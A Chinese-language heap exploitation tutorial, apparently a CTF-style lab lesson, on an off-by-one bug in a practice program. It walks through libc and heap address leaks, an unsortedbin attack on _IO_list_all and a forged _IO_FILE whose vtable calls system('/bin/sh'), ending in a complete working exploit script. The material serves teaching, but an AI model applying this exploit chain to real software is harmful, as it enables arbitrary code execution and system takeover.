这一节的内容是Off-By-One
相比于溢出、UAF、Double Free等漏洞,Off-By-One其实更加容易出现
Off-By-One是指在程序输入时由于边界条件没有检查好,导致能够多输入一个字节的漏洞;
还有更加特殊的情况——Off-By-Null,即能够多输入一个\x00
字符
在栈上如果仅仅只是能多输入一个字符,这样一般也很难造成特别大的影响,但是堆就不一样了。
堆上的一个特殊地方就在于prev_inuse
位
这个位用来标识前一个chunk是否是在用的状态,如果将一个位清零,就可能让堆管理器认为前一个chunk是free的状态,从而分配两次,进一步能导致UAF的问题。
在实践之前还需要了解一个堆的机制,Remaindering
Remaindering
Remaindering实际上就是当无法直接申请到大小合适的chunk时,malloc
将一个free chunk分为两个小的chunk,并将其中一个合适大小的分配出去,剩余的chunk加到unsortebin中的过程。
这种处理方式会在三种情况下出现:
- 从largebins中分配时
- 搜索binmap过程中
- unsortedbin遍历时
这一节中的内容涉及到的是unsortedbin遍历时的情况,另外两种情况在后面学习时进行介绍;
再看一眼这个堆结构图
其中在Top Chunk和unsortedbin的fd之间有一项last_remainder
这个字段存储的chunk仅仅可用于大小处于smallbin的申请
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
在遍历unsortedbin时,如果满足了这样的条件则会从last_remainder
中申请分配chunk
实践
文字上的描述看起来又臭又长,还是直接用实例看一下吧。
可以看到这个例子程序安全保护机制全开
运行的时候支持这么几种常见的功能:申请、编辑、读、释放
相比之前的示例程序,这个程序并没有输出堆的地址和libc的地址
因此我们在利用时首先需要泄漏libc
但是并不能决定malloc的大小,每次申请的内存都是0x60
虽然菜单写的是malloc,但是实际上程序申请内存使用的是calloc
两者的差别主要是calloc
申请内存后会将内容置0
漏洞点是edit
功能可以编辑比malloc
的大小多一个字节的内容
泄漏libc地址
想要泄漏出libc的地址,可以考虑使用unsortedbin leak
chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()
edit(chunk_A,b'Y'*0x58 + b'\xc1')
free(chunk_B)
首先我们修改chunk_B的大小为0xc1
为两个0x60,这样chunk_B就包含了申请时的B和C
这时free掉chunk_B会被加入到unsortedbin中
由于unsortedbin目前只有这一项,fd、bk都会指向main_arena
如果能设法读到fd和bk
就可以得到一个libc中的地址
那么问题来了,这时我们再申请一个chunk,这个chunk的起始位置会在哪里呢?
可以看到再次申请的chunk还是在B的位置
原本大小为0xc0的unsortedbin发生了remaindering,切分为了两部分
其中0x60分配给我们这次的申请,另外的0x60又重新被放到了unsortedbin中,也就是我们原本C的位置
看到发生了remaindering之后,main_arena.last_remainder
中的值变成了切分下来的这个部分;
那么接下来直接读C的内容就可以得到图中0x7fffd7dd4b78
这个指针了
这个值减去88就是main_arena的地址,由此得到了一个libc的地址
offset = lib.sym.main_arena + 88
data = u64(read(chunk_C)[:8])
libc.address = data - offset
泄漏堆地址
现在我们有了一个泄漏的libc地址,就可以利用house_of_orange中的技巧,用unsortedbin attack尝试覆盖_IO_list_all
的vtable了
这样我们需要在堆上伪造一个_IO_FILE
出来,但是要确定vtable的值还需要泄漏一个堆上的地址
那么我们就可以利用目前chunk_C这里的双重指针,构造出一个fastbin的fd
chunk_C2 = malloc()
free(chunk_A)
free(chunk_C2)
这样chunk_C的前8个字节就变成了一个fastbin的fd,指向的是chunk_A的位置即堆的起始地址
heap = u64(read(chunk_C)[:8])
log.info(f"heap @ {heap:02x}")
unsortedbin attack
接下来就是利用unsortedbin attack完成之前house of orange中的最后一步
修改_IO_list_all
这里要完成unsortedbin attack我们其实可以在获取libc地址和获取堆地址之间完成
chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()
edit(chunk_A,b'Y'*0x58 + b'\xc1')
free(chunk_B)
offset = lib.sym.main_arena + 88
data = u64(read(chunk_C)[:8])
libc.address = data - offset
log.info(f"libc @ {libc:02x}")
edit(chunk_C, p64(0) + p64(libc.sym._IO_list_all - 0x10))
chunk_C2 = malloc()
free(chunk_A)
free(chunk_C2)
heap = u64(read(chunk_C)[:8])
log.info(f"heap @ {heap:02x}")
只需要加一句edit(chunk_C)
就可以
回忆一下unsortedbin attack,我们只要控制了bk,就可以在任意位置写入一个当前chunk的地址;
将fd设置为任意值,bk设置为_IO_list_all - 0x10
这样就可以将_IO_list_all
覆盖为chunk_C的地址了
接下来需要做的是在堆上构造一个 _IO_FILE
,我们可以先直接将之前house of orange中的payload复制过来
payload = b"Y"*0x10
flag = b'/bin/sh\x00'
fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap + 0xd8)
overflow = p64(libc.sym.system)
payload = payload + flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable
这里面有一部分最初的填充是不需要的,另外vtable
的值可能也需要变一变
去掉开头的填充后整个payload的长度是224,即0xE0
如果从chunk_C开始算起,那么我们还是需要三个0x60大小的chunk来放这些内容
edit(chunk_B,p64(0)*10+b"/bin/sh\x00")
edit(chunk_C,p64(fd)+p64(bk)+p64(1)+p64(2))
edit(chunk_E,p64(libc.sym.system)+p64(vtable))
计算之后vtable的值应该设置为heap+0x178
图中绿色是/bin/sh
的字符串
粉色是write_base
和write_ptr
,已经设置为了1和2
红色是overflow
函数指针,设置为了system
的地址
蓝色是vtable
指针,重新指向了heap+0x178
处
这时只要再次malloc,将unsortedbin sort到0x60的smallbin中,_IO_list_all
就会顺着_chain
指向我们伪造的_IO_FILE
但是再次malloc会发现,什么都没有发生
这是因为我们申请的chunk大小本身就是0x60
,再次malloc时这个unsortebin根本不会sort,由于大小刚刚好,直接就给我们分配过来了
跟着_IO_list_all
的指针看一下,可以发现_IO_list_all.file._chain._chain
还是在main_arena
内
对照着arena的分布图可以得知这个位置是0xb0大小的smallbin
既然0x60的没办法sort,那我们可以在申请前再一次利用off by one的漏洞把原本0x60大小的unsortedbin伪造为0xb0大小
这样让_IO_list_all
指针指两层后再指向我们申请的chunk_C处
那么就是需要修改一下chunk_B的edit那句
edit(chunk_B,p64(0)*10+b"/bin/sh\x00"+b'\xb1')
最后增加了一个字节的修改
修改完成之后,再次malloc
就得到了一个shell
完整的payload
chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()
chunk_E = malloc()
edit(chunk_A, b"Y"*0x50+ p64(0x60) + b'\xc1')
free(chunk_B)
chunk_B = malloc()
data = u64(read(chunk_C)[:8])
offset = libc.sym.main_arena + 0x58
libc.address = data - offset
log.info(f"libc @ 0x{libc.address:02x}")
chunk_C2 = malloc()
free(chunk_A)
free(chunk_C2)
heap = u64(read(chunk_C)[:8])
log.info(f"heap @ 0x{heap:02x}")
chunk_C2 = malloc()
chunk_A = malloc()
edit(chunk_A, b"Y"*0x50 + p64(0x60)+b'\xc1')
free(chunk_B)
chunk_B = malloc()
vtable = heap + 0x178
edit(chunk_B,p64(0)*10+b'/bin/sh\x00\xb1')
edit(chunk_C,p64(0)+p64(libc.sym._IO_list_all-0x10)+p64(1)+p64(2))
edit(chunk_E,p64(libc.sym.system)+p64(vtable))
malloc()
总结
总结一下,栈漏洞中的溢出一个字节一般比较难造成很大影响
但是堆中的off by one可以覆盖prev_inuse位,导致有可能出现两个指针指向一块内存的情况,进一步可以用unsortedbin leak泄漏libc地址、fastbin泄漏堆地址、unsortebin attack结合伪造_IO_FILE
一系列操作拿到shell